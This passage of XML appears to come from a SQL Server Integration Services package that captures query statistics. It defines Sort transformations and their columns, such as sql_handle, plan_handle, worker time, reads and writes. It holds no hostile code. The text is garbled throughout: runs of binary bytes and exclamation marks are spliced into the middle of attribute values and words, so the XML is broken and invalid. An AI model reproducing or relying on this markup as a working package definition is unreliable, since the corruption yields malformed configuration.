queries.Outputs[Merge Join Output].Columns[max_worker_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[min_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[min_worker_time]" name="min_worker_time"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_worker_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[min_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[min_physical_reads]" name="min_physical_reads"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_physical_reads]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statist	!!!!!!!!!!!!!!!!!!!!!!!!`<	iHvics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[max_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[max_physical_reads]" name="max_physical_reads"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[max_physical_reads]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[min_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[min_logical_writes]" name="min_logical_writes"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_logical_writes]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[max_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[max_logical_writes]" name="max_logical_writes"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[max_logical_writes]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[min_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[min_logical_reads]" name="min_logical_reads"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG	!!!!!!!!!!!!!!!!!!!!!!!!`<!uG,Hv - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_logical_reads]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[max_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[max_logical_reads]" name="max_logical_reads"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[max_logical_reads]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[min_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[min_clr_time]" name="min_clr_time"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_clr_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[max_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[max_clr_time]" name="max_clr_time"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[max_clr_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[min_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[min_elapsed_time]" name="min_elapsed_time"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output co	!!!!!!!!!!!!!!!!!!!!!!!!`<%UHvlumn." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_elapsed_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[max_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[max_elapsed_time]" name="max_elapsed_time"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[max_elapsed_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[collection_time]" dataType="dbTimeStamp" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[collection_time]" name="collection_time"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[collection_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[sql_handle]" dataType="bytes" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[sql_handle]" name="sql_handle" sortKeyPosition="1"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[sql_handle]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[plan_handle]" dataType="bytes" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[plan_	!!!!!!!!!!!!!!!!!!!!!!!!`<)AlHvhandle]" name="plan_handle" sortKeyPosition="2"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[plan_handle]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[snapshot_id]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[snapshot_id]" name="snapshot_id"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[snapshot_id]}</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations" componentClassID="{5B1A3FF5-D366-4D75-AD1F-F19A36FCBEDB}" contactInfo="Sort;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;1" description="Sorts data." name="SRT - Find unique sql_handle and plan_handle combinations" version="1"><properties><property dataType="System.Boolean" description="Indicates whether the Sort transformation removes rows with duplicate sort values." name="EliminateDuplicates">true</property><property dataType="System.Int32" description="Specifies the maximum number of threads to use for sorting." expressionType="Notify" name="MaximumThreads">-1</property></properties><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Inputs[Sort Input]" name="Sort Input"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Inputs[Sort Input].Columns[sql_handle]" cachedDataType="bytes" cachedLength="64" cachedName="sql_handle" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[sql_handle]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">1</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Inputs[Sort Input].Columns[plan_handle]" cachedDataType="bytes" cachedLength="64" cachedName="plan_handle" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Uploa	!!!!!!!!!!!!!!!!!!!!!!!!`<-ǺHvd Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[plan_handle]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">2</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Inputs[Sort Input].Columns[statement_start_offset]" cachedDataType="i4" cachedName="statement_start_offset" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[statement_start_offset]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">3</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Inputs[Sort Input].Columns[statement_end_offset]" cachedDataType="i4" cachedName="statement_end_offset" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[statement_end_offset]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">4</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Inputs[Sort Input].Columns[creation_time]" cachedDataType="dbTimeStamp" cachedName="creation_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[creation_time]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Inputs[Sort Input].Columns[plan_generation_num]" cachedDataType="i8" cachedName="plan_generation_num" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[plan_generation_num]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">5</property></properties></inputColumn></inputColumns><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interestin	!!!!!!!!!!!!!!!!!!!!!!!!`<GHvg Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Outputs[Sort Output]" isSorted="true" name="Sort Output"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Outputs[Sort Output].Columns[sql_handle]" dataType="bytes" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Outputs[Sort Output].Columns[sql_handle]" name="sql_handle" sortKeyPosition="1"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[sql_handle]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Outputs[Sort Output].Columns[plan_handle]" dataType="bytes" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Outputs[Sort Output].Columns[plan_handle]" name="plan_handle" sortKeyPosition="2"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[plan_handle]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Outputs[Sort Output].Columns[statement_start_offset]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Outputs[Sort Output].Columns[statement_start_offset]" name="statement_start_offset" sortKeyPosition="3"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[statement_start_offset]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Outputs[Sort Output].Columns[statement_end_offset]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Outputs[Sort Output].Columns[statement_end_offset]" name="statement_end_offset" sortKeyPosition="4"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query p	!!!!!!!!!!!!!!!!!!!!!!!!`<NHvlan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[statement_end_offset]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Outputs[Sort Output].Columns[creation_time]" dataType="dbTimeStamp" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Outputs[Sort Output].Columns[creation_time]" name="creation_time"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[creation_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Outputs[Sort Output].Columns[plan_generation_num]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Outputs[Sort Output].Columns[plan_generation_num]" name="plan_generation_num" sortKeyPosition="5"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[plan_generation_num]}</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle values" componentClassID="{5B1A3FF5-D366-4D75-AD1F-F19A36FCBEDB}" contactInfo="Sort;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;1" description="Sorts data." name="SRT - Find unique sql_handle values" version="1"><properties><property dataType="System.Boolean" description="Indicates whether the Sort transformation removes rows with duplicate sort values." name="EliminateDuplicates">true</property><property dataType="System.Int32" description="Specifies the maximum number of threads to use for sorting." expressionType="Notify" name="MaximumThreads">-1</property></properties><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle values.Inputs[Sort Input]" name="Sort Input"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle values.Inputs[Sort Input].Columns[sql_handle]" cachedDataType="bytes" cachedLength="64" cachedName="sql_handle" cachedSortKeyPosition="1" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Outputs[Sort Output].Columns[sql_handle]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character	!!!!!!!!!!!!!!!!!!!!!!!!`<vUHv data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">1</property></properties></inputColumn></inputColumns><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle values.Outputs[Sort Output]" isSorted="true" name="Sort Output"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle values.Outputs[Sort Output].Columns[sql_handle]" dataType="bytes" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle values.Outputs[Sort Output].Columns[sql_handle]" name="sql_handle" sortKeyPosition="1"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Outputs[Sort Output].Columns[sql_handle]}</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Sort columns by sql_handle, plan_handle" componentClassID="{5B1A3FF5-D366-4D75-AD1F-F19A36FCBEDB}" contactInfo="Sort;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;1" description="Sorts data." name="SRT - Sort columns by sql_handle, plan_handle" version="1"><properties><property dataType="System.Boolean" description="Indicates whether the Sort transformation removes rows with duplicate sort values." name="EliminateDuplicates">true</property><property dataType="System.Int32" description="Specifies the maximum number of threads to use for sorting." expressionType="Notify" name="MaximumThreads">-1</property></properties><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Sort columns by sql_handle, plan_handle.Inputs[Sort Input]" name="Sort Input"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Sort columns by sql_handle, plan_handle.Inputs[Sort Input].Columns[Top Reason]" cachedDataType="wstr" cachedLength="128" cachedName="Top Reason" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Outputs[TxTopQueries Only Output].Columns[Top Reason]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Sort columns by sql_handle, plan_handle.Inputs[Sort Input].Columns[Top SQL Handle]" cachedDataType="bytes" cachedLength="44" cachedName="Top SQL Handle" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Outputs[TxTopQueries Only Output].Columns[Top SQL Handle]"><properties><property dataType="System.Int	!!!!!!!!!!!!!!!!!!!!!!!!`	<!^7Hv32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">1</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Sort columns by sql_handle, plan_handle.Inputs[Sort Input].Columns[Top Plan Handle]" cachedDataType="bytes" cachedLength="44" cachedName="Top Plan Handle" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Outputs[TxTopQueries Only Output].Columns[Top Plan Handle]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">2</property></properties></inputColumn></inputColumns><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Sort columns by sql_handle, plan_handle.Outputs[Sort Output]" isSorted="true" name="Sort Output"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Sort columns by sql_handle, plan_handle.Outputs[Sort Output].Columns[Top Reason]" dataType="wstr" length="128" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Sort columns by sql_handle, plan_handle.Outputs[Sort Output].Columns[Top Reason]" name="Top Reason"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Outputs[TxTopQueries Only Output].Columns[Top Reason]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Sort columns by sql_handle, plan_handle.Outputs[Sort Output].Columns[Top SQL Handle]" dataType="bytes" length="44" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Sort columns by sql_handle, plan_handle.Outputs[Sort Output].Columns[Top SQL Handle]" name="Top SQL Handle" sortKeyPosition="1"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Outputs[TxTopQueries Only Output].Columns[Top SQL Handle]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Sort columns by sql_handle, plan_handle.Outputs[Sort Output].Columns[Top Plan Handle]" dataType="bytes" length="44" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Sort columns by sql_handle, plan_handle.Outputs[Sort Output].Columns[Top Plan Handle]" name="Top Plan Handle" sortKeyPosition="2"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with	!!!!!!!!!!!!!!!!!!!!!!!!`
